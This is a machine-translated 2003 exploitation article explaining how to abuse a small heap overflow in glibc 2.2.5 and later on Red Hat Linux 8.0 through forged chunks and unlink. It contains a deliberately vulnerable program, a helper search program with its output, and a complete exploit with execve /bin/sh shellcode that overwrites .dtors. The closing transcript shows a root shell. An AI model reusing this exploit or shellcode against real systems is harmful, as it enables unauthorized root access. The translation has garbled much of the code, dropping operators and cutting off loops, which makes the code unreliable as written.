Alternative utilization method of a small heap overflow
Created: 2003-09-18 Updated: 2003-09-18
Article properties: reprint
Article Source:
Http://www.cnhonker.com/index.php?module=articles &Cn=View&type=6&ID=76 bkbll (bkbll@cnhonker.net
Article submission:
Watercloud (watercloud_at_xfocus.org)
Digest:
http://www.cnhonker.com/index.php?module=articles &Ct=View&type=6&ID=76
Alternative utilization method of a small heap overflow
Bkbll (bkbll@cnhonker.net)
2003-9-1
[1] What is a pile of overflow?
Heap overflow is similar to Stack Overflow, which occurs in the BSS area. About Heap overflow's article has a lot outside, entry level W00W00
Http://www.w00w00.org/files/articles/heaptut-chinese.txt, English original is:
Http://www.w00w00.org/files/articles/heaptut.txt, where Warning3 is written: , article:
Http://www.nsfocus.net/index.php?act=sec_self& ;do=view&docc_id=529&Keyword=Heap
This article assumes that you understand the meaning of these two articles.
[2]. This depends on the system
All procedures are all debugged on the RH Linux 8.0 Default Install platform. About the use of small piles, it makes sense on glibc> = 2.2.5, in Glibc 2.2.4 (RH 7.2), using Warning3 The method is completely feasible, so this article assumes that the platform Glibc> = 2.2.5. RH Linux 8.0 is GLIBC-2.2.93-5.
[3]. Differences between GLIBC <= 2.2.5
We can see the source code of Malloc. Low versions can be found in Warning3 articles, the high version of the source code analysis is as follows (INT_FREE function, because the function is relatively long, decomposed):
Void _int_free (MSTATE AV, VOID_T * MEM)
{
IF (MEM! = 0) {// If MEM! = NULL
P = MEM2CHUNK (MEM);
Size = chunksize (p);
Check_inuse_chunk (av, p);
IF (Size) <= (unsigned long) // Here, if it is a small pile <64bytes
#if trim_fastbins
&& (chunk_at_offset (p, size)! = AV-> TOP) / / / The next piece of this block is not a TOP block
#ENDIF
) {
Set_fastchunks (av);
FB = & (AV-> fastbins [fastbin_index (size)]);
P-> fd = * fb;
* fb = p;
}
Else if (! chunk_is_mmapped (p)) // If this block does not have MMAP bit {
Nextchunk = chunk_at_offset (p, size);
Nextsize = chunksize (Nextchunk);
Assert (NextSize> 0);
/ * Consolidate Backward * /
If (! prev_inuse (p)) // If the current block's size part marks the front unused
{
Prevsize = P-> prev_size;
SIZE = Prevsize;
P = chunk_at_offset (p, - ((long) prevsize);
Unlink (P, BCK, FWD); // and previous merge
}
IF (Nextchunk! = AV-> TOP)
{
/ * Get and clear inuse bit * /
NEXTINUSE = inuse_bit_at_offset (nextchunk, nextsize);
// # Define clear_inuse_bit_at_offset (p, s) ((mchunkptr) ((CHAR *) (P)) (s))) -> SIZE & = ~ (Prev_inuse)))
/ * Consolidate Forward * /
If (! nextinuse) // If the next block is not used, the block is merged.
{
UNLINK (Nextchunk, BCK, FWD);
SIZE = nextsize;
}
..........
}
Else // If this block is next to TOP blocks
{
.........
}
/ * Note Here, if the size of the merges> 0xffff is * /
IF (Size> = fastbin_consolidation_threshold)
{
IF (Have_fastchunks (AV))
Malloc_consolidate (AV);
.......
}
}
Else {// If it is MMAP
..........
}
}
}
Summarize, different places are:
1. When the heap size of the free is <64 bytes, a quick processing method will be utilized.
2. When the merged size is greater than 0xfff, there is another process. If you use the forged chunk to deal with it, it is difficult to ensure that it is not wrong, so the merged size is less than 0xfff.
3. The size of the block must be a multiple of 8.
The comparison process of 1 and 2 is compared to the unsigned long, so there is a negative number to escape the rule limit, and 2 inside will not work, if size is a negative number, it will judge the failure, this will jump to A complex computing process, so SIZE is certain here cannot be negative.
[4] A program with a vulnerability:
/ * Just for fun * /
#include
#include
#include
Main (int Argc, char ** argv)
{
Char * p1;
Char * p2;
IF (Argc <2)
{
Printf ("USAGE:% S
exit (0);
}
IF (Strlen (Argv [1])> 40-1)
{
Printf ("ERROR: TOON LONG / N");
exit (0);
}
P1 = (char *) Malloc (20);
P2 = (char *) malloc (40);
MEMSET (P1, 0, 20);
MEMSET (P2, 0, 40);
STRCPY (P2, Argv [1]);
STRCPY (P1, P2); Printf ("[ ] INPUT:% S / N", P1);
MEMSET (P2, 0, 40);
Free (p1);
Free (p2);
exit (0);
}
[5]. Reflections on the use of methods
At first, it seems that the previous Heap Overflow utilizes the method, forging Chunk2 and CHUNK3 can write EXP, but because the first block is small, it is not the same.
From the memory structure, we can cover two places with: P2's prev_size and p2 of P2. Close to these two places are key data for control P2's top blocks and the latter block, so we can basically falsify A block and the latter block, as long as the Inuse bit is controlled, we can use Unlik to write any four bytes of data to any place.
It should be noted here that Size must be a positive, and this value must be small and 0xfff. Here we have two options (for easy description, we call P2 to do P1, the next block is called P3, P3 The next piece is called P4)
1. Use the forged P1 to perform UNLINK operation. Just need to make P2's prev_inuse bit clear zero
2. Using the forged P3 for unlink operation, since there is a judgment P3 is used, it also needs to be forged P4.
If you want to use the forged P3 to perform unlink operation, because of Size> 0, here you should consider two cases (using strcpy, so you can't have 0x00):
1. P2 size> 0 Because of the P2 itself, this can contain 0x00. This P3 can only be behind P2, but the data behind the program is basically 0, the FD and BK data of P3 cannot be Fill. So it is unlikely.
2. P2 SIZE <0 This requires P3 size> 0 and 0xfff> (p3-> size p2-> size)> 0. And through P3-> Size, P4, to meet our requirements, the most important thing is P3-> Size four bytes can not have 0x00. It seems that one location in memory can also be found to put our P3, if you have more appropriate methods, please communicate.
From the above analysis, it can be seen that the unlink operation is too big to use forged P3 blocks. We look at the use of forged P1.
Because the address of the P1 is calculated: p1 addr = p2 addr - p2-> prev_size, and the memory behind P2 is basically 0, so the prev_size here must be a positive number, but because we have to overwrite to P2 Size, so PREV_SIZE memory block does not have 0x00 data, the P2-> prev_size here can only be a very big positive. It is not feasible, but the association is the beginning of 0xBFFF, if Describe this address as a symbolic number, happens to be a negative number, from the previous source code, it can be seen that the Size's addition is a symbolic operation, so can we put the P1 structure in our Inside the stack? So we can put P1 in the stack through this very positive number.
P1 is ok, in order to ensure 0xFFFF> (P2-> Size P1-> size)> 0, and ask us to control P3, we need to carefully construct a P2-> size, and this data needs to set P1 Non-USE bit. It looks not impossible? Let us take a look at a wonderful mathematical transformation.
It is assumed that our P2 address is P2Addr, the P1 address is P1ADDR, P1 size is P1Size, P2 size is P2Size, P1Size P2Size = Offset, which is more than 0 and less than 0xFFFFF.
Then there are several equations here:
P2ADDR-P1Size = p1addr ------------ 1
P2ADDR P2Size = p3addr ------------ 2
P1Size p2size = offset ------------ 3
2-1 obtained:
P2Size P1Size = P3Addr-p1addr generation 3:
OFFSET = P3ADDR-P1ADDR, namely:
P3ADDR = P1ADDR OFFSET.
Our P1 is placed in the stack, as long as we add a little offset, we can get our P3, then P4 can also fake it smoothly.
Now there is only one question: P3ADDR-P2ADDR is P2Size must set up Non-Map and Non-USE bit. And P2Size is a multiple of 8, which seems to be 8. The last data of P2Size must be 8.
At this time, there is a problem out. How do we construct this data to ensure that the P3's structure meets the requirements and the difference between the P3 address and the P2 address of the P2 address is 8? How is this data to be sure?
Thinking, we can imagine our P1 and P3 data this:
AAAA | AAAA | FD | BK | AAA.AAAA | AAAA | P3Size | ....
P1 P3
Because we don't have to care for P1's prev_size and p1 size, and we only need to care if the size of P4 is 0, which is set, so we set p3-> size to 0xfffffff8 (-8), which P4 = p3 p3-> Size = P3-8, so as long as the last bit of * (char *) (P3-1) data is 1). Filled A can meet the requirements. After the data of P1 and P3, we can keep up with us. SHELLCODE, the data after constructing should be like this:
| Alternative Address | Replace Address | XXXXXXXXXXXA | AAAA | -8 | Shellcode |
P1 8 P1 12 P3
We return to the question just now, how to ensure that the address of the P3 meets the requirements.
We can consider this, memory stores multiple XXXA | AAAA | -8 |, XXXA | AAAA length we need to check it. Our goal is to pass the limited 16-bit data loop, we can always find Meet the requirements of XXXXA | AAAA | -8 | to meet the requirements of the requirements. We write a small program to check:
[NetConf @ linux1 challenge] $ cat test1.c
/ * TEST for 32 bits value * /
#include
#include
#include
#define size 200
#define pad 5
#define fg 'a'
#define addr 0xfffffffff8
Void foo (int offset, char * buffer)
{
INT I, FOUND = 0;
For (i = offset; i { IF ((buffer [i] == fg) && (Buffer [i 1] == fg) && (Buffer [i 2] == fg) && (Buffer [i 3] == fg) && (* (unsigned int *) (Buffer i 4) == addr)) { Printf ("[ ] Found.i:% 3D, Cont:% C% C% C% C Addr:% P / N", I, Buffer [I], Buffer [i 1], BUFFER [i 2 ], Buffer [i 3], * (unsigned int *) (buffer i 4); FOUND = 1; CONTINUE; } } IF (Found == 0) Printf ("[-] not found / n"); Main (int Argc, char ** argv) { Char buffer [size]; INT I, J; INT PD = PAD; IF (Argc> 1) PD = ATOI (Argv [1]); MEMSET (Buffer, 0, Size); For (i = 0; i { MEMSET (Buffer i, FG, PD); * (unsigned int *) (Buffer i PD) = addr; } PRINTF ("[ ] PAD =% D / N / N", PD); For (j = 0; j { Printf ("[ ] Offset:% D / N", J); Foo (J, Buffer); } } [NetConf @ Linux1 Challenge] $ We have verified how much PAD from 1-9 meets the requirements: [NetConf @ Linux1 Challenge] $ GCC -O Test1 Test1.c [NetConf @ Linux1 challenge] $ ./test1 1 [ ] PAD = 1 [ ] OFFSET: 0 [-] NOT FOUND [NetConf @ Linux1 challenge] $ ./test1 2 [ ] PAD = 2 [ ] OFFSET: 0 [-] NOT FOUND [ ] OFFSET: 1 [-] NOT FOUND [NetConf @ linux1 challenge] $ ./test1 3 [ ] PAD = 3 [ ] OFFSET: 0 [-] NOT FOUND [ ] OFFSET: 1 [-] NOT FOUND [ ] OFFSET: 2 [-] NOT FOUND [NetConf @ Linux1 Challenge] $ ./test1 4 [ ] PAD = 4 [ ] OFFSET: 0 [ ] Found.i: 0, Cont: Aaaa Addr: 0xffffffff8 [ ] Found.i: 16, Cont: aaaa addr: 0xfffffffff8 [ ] Found.i: 32, Cont: AAAA Addr: 0xffffffff [ ] Found.i: 48, Cont: AAAA Addr: 0xffffffff [ ] Found.i: 64, Cont: AAAA Addr: 0xfffffff [ ] Found.i: 80, Cont: AAAA Addr: 0xfffffffff8 [ ] Found.i: 96, Cont: AAAA Addr: 0xfffffffff [ ] Found.i: 112, Cont: AAAA Addr: 0xfffffffff8 [ ] Found.i: 128, Cont: AAAA Addr: 0xffffffff [ ] Found.i: 144, Cont: AAAA Addr: 0xfffffffff8 [ ] Found.i: 160, Cont: AAAA Addr: 0xfffffffff8 [ ] Found.i: 176, Cont: AAAA Addr: 0xfffffffff [ ] Found.i: 192, Cont: Aaaa Addr: 0xfffffff [ ] OFFSET: 1 [-] NOT FOUND [ ] OFFSET: 2 [-] NOT FOUND [ ] OFFSET: 3 [-] NOT FOUND [NetConf @ Linux1 Challenge] $ ./test1 5 [ ] PAD = 5 [ ] OFFSET: 0 [ ] Found.i: 64, Cont: AAAA Addr: 0xfffffff [ ] OFFSET: 1 [ ] Found.i: 1, Cont: Aaaa Addr: 0xffffffff8 [ ] Found.i: 145, Cont: AAAA Addr: 0xfffffffff8 [ ] OFFSET: 2 [ ] Found.i: 82, Cont: Aaaa Addr: 0xffffffff [ ] OFFSET: 3 [ ] Found.i: 19, Cont: Aaaa Addr: 0xfffffffff8 [ ] Found.i: 163, Cont: AAAA Addr: 0xfffffff [ ] OFFSET: 4 [ ] Found.i: 100, Cont: Aaaa Addr: 0xfffffff8 [NetConf @ Linux1 challenge] $ ./test1 6 [ ] PAD = 6 [ ] OFFSET: 0 [ ] Found.i: 32, Cont: AAAA Addr: 0xffffffff [ ] Found.i: 112, Cont: AAAA Addr: 0xfffffffff8 [ ] Found.i: 192, Cont: Aaaa Addr: 0xfffffff [ ] OFFSET: 1 [-] NOT FOUND [ ] OFFSET: 2 [ ] Found.i: 2, Cont: AAAA Addr: 0xfffffffff8 [ ] Found.i: 82, Cont: Aaaa Addr: 0xffffffff [ ] Found.i: 162, Cont: Aaaa Addr: 0xfffffffff8 [ ] OFFSET: 3 [-] NOT FOUND [ ] OFFSET: 4 [ ] Found.i: 52, Cont: AAAA Addr: 0xffffffff8 [ ] Found.i: 132, Cont: AAAA Addr: 0xfffffffff8 [ ] OFFSET: 5 [-] NOT FOUND [NetConf @ linux1 challenge] $ ./test1 7 [ ] PAD = 7 [ ] OFFSET: 0 [ ] Found.i: 80, Cont: AAAA Addr: 0xfffffffff8 [ ] OFFSET: 1 [ ] Found.i: 113, Cont: AAAA Addr: 0xfffffffff8 [ ] OFFSET: 2 [ ] Found.i: 146, Cont: AAAA Addr: 0xfffffffff8 [ ] OFFSET: 3 [ ] Found.i: 3, Cont: Aaaa Addr: 0xfffffffff8 [ ] Found.i: 179, Cont: Aaaa Addr: 0xfffffffff [ ] OFFSET: 4 [ ] Found.i: 36, Cont: Aaaa Addr: 0xfffffff8 [ ] OFFSET: 5 [ ] Found.i: 69, Cont: AAAA Addr: 0xfffffff [ ] OFFSET: 6 [ ] Found.i: 102, Cont: Aaaa Addr: 0xfffffffff8 [NetConf @ Linux1 challenge] $ ./test1 8 [ ] PAD = 8 [ ] OFFSET: 0 [ ] Found.i: 16, Cont: AAAA Addr: 0xffffffff8 [ ] Found.i: 64, Cont: AAAA Addr: 0xffffffff [ ] Found.i: 112, Cont: AAAA Addr: 0xfffffffff8 [ ] Found.i: 160, Cont: AAAA Addr: 0xfffffffff8 [ ] OFFSET: 1 [-] NOT FOUND [ ] OFFSET: 2 [-] NOT FOUND [ ] OFFSET: 3 [-] NOT FOUND [ ] OFFSET: 4 [ ] Found.i: 4, Cont: AAAA Addr: 0xffffffff [ ] Found.i: 52, Cont: AAAA Addr: 0xffffffff8 [ ] Found.i: 100, Cont: Aaaa Addr: 0xfffffff8 [ ] Found.i: 148, Cont: AAAA Addr: 0xfffffff [ ] Found.i: 196, Cont: AAAA Addr: 0xfffffffff8 [ ] OFFSET: 5 [-] NOT FOUND [ ] OFFSET: 6 [-] NOT FOUND [ ] OFFSET: 7 [-] NOT FOUND [NetConf @ Linux1 Challenge] $ ./test1 9 [ ] PAD = 9 [ ] OFFSET: 0 [ ] Found.i: 96, Cont: AAAA Addr: 0xfffffffff [ ] OFFSET: 1 [ ] Found.i: 161, Cont: AAAA Addr: 0xffffffff8 [ ] OFFSET: 2 [ ] Found.i: 18, Cont: AAAA Addr: 0xffffffff [ ] OFFSET: 3 [ ] Found.i: 83, Cont: AAAA Addr: 0xffffffff [ ] OFFSET: 4 [ ] Found.i: 148, Cont: AAAA Addr: 0xfffffff [ ] OFFSET: 5 [ ] Found.i: 5, Cont: aaaa addr: 0xfffffff [ ] OFFSET: 6 [ ] Found.i: 70, Cont: AAAA Addr: 0xfffffffff8 [ ] OFFSET: 7 [ ] Found.i: 135, Cont: aaaa addr: 0xfffffffff8 [ ] OFFSET: 8 [ ] Found.i: 200, Cont: AAAA Addr: 0xfffffffff8 [NetConf @ Linux1 Challenge] $ As can be seen from the above calculation, regardless of the Buffer start address, when the PAD is 5, 7, 9, the limited number of positions can always be found. We take the smallest data 5 to construct our P3 . [6]. Our EXP This way we can write Exploit: [NetConf @ Linux1 Challenge] $ CAT EXP4.C / * EXP4 * / #include #include #include #define size 20 #DEFINE FILL 200 / * We are preparing to fill how many P3 structures to meet the requirements * / #define pad 5 #DEFINE WANT_WRITE_TO_ADDR 0x080496DC 4-3 * 4 /*.dtors Address * / #define p2addr 0x08049738 / * p2 address (chunk address) * / # define shell_addr 0xBffffa7 / * shellcode address * / #define p3addr 0xBfffff60 / * p2-> Next address * / #define p1addr (unsigned long) (SHELL_ADDR- (Fill / (Pad 4)) * (PAD 4) -0x08 1) / * p2-> prev chunk address * / #define vuln "./vul2" Char shellcode [] = "/ XEB / X0B / X90 / X90 / X90 / X90 / X90 / X90 / X90 / X90 / X90 / X90 / X90" "/ x31 / xdb / x89 / xd8 / xb0 / x17 / xcd / x80" "/ x31 / xc0 / x50 / x50 / xb0 / xb5 / xcd / x80" "/ XEB / X1F / X5E / X89 / X76 / X08 / X31 / XC0 / X88 / X46 / X07 / X89 / X0B" "/ x89 / x08 / x8d / x56 / x0c / xcd / x80 / x31 / xdb / x89 / xd8 / x40 / xcd" "/ x80 / xe8 / xdc / xff / xff / xff / bin / sh"; Main (int Argc, char * argv []) { INT I, SIZE = Size, SIZE2, Length Char * ENV [2], Envbuf [400], BUFFER [100]; UNSIGNED Long P1Size, P2Size, P1Addr MEMSET (Buffer, 0,100); IF (Argc> 1) size = atoi (Argv [1]); Length = (int) (Size 4) / 8; IF (Length * 8 == (SIZE 4)) Length -; Length * = 8; For (i = 0; i Buffer [i] = 'a'; SIZE2 = P3Addr-P1Addr; P1Size = Size2- (P3ADDR-P2ADDR); P2Size = P3Addr-p2addr; Printf ("P2Size P1Size:% P % P =% # x / n", P2Size, P1Size, P2Size P1Size); Printf ("P1ADDR:% P, P2ADDR:% P, P3ADDR =% P / N", P1ADDR, P2ADDR, P3ADDR); * (unsigned long *) (buffer i) = p1size; i = 4; * (unsigned long *) (buffer i) = p2size; i = 4; MEMSET (Envbuf, 0,400); STRCPY (Envbuf, "Str ="); I = Strlen (Envbuf); // Construct P1 and P3 * (unsigned long *) (envbuf i) = want_write_to_addr; * (unsigned long *) (Envbuf i 4) = shell_addr; i = 8; For (i; i <200; i = 9) { MEMSET (Envbuf I, 'A', PAD); * (unsigned long *) (ENVBUF I PAD) = 0xfffffffff8; } Memcpy (Envbuf I, Shellcode, Strlen (shellcode); ENV [0] = Envbuf; ENV [1] = NULL; Execle (Vuln, Vuln, Buffer, NULL, ENV); } try it: [NetConf @ Linux1 Challenge] $ ./exp4 P2Size P1Size: 0xB7FB6828 0x4804985E = 0x86 P1addr: 0xBffFFFEDA, P2ADDR: 0x8049738, P3ADDR = 0xBFFFFF60 [ ] INPUT: AAAAAAAAAAAAAAAA ^ 楬 (H SH-2.05B # id UID = 0 (root) GID = 500 (NetConf) Groups = 500 (NetConf) SH-2.05B # [7]. Reference article: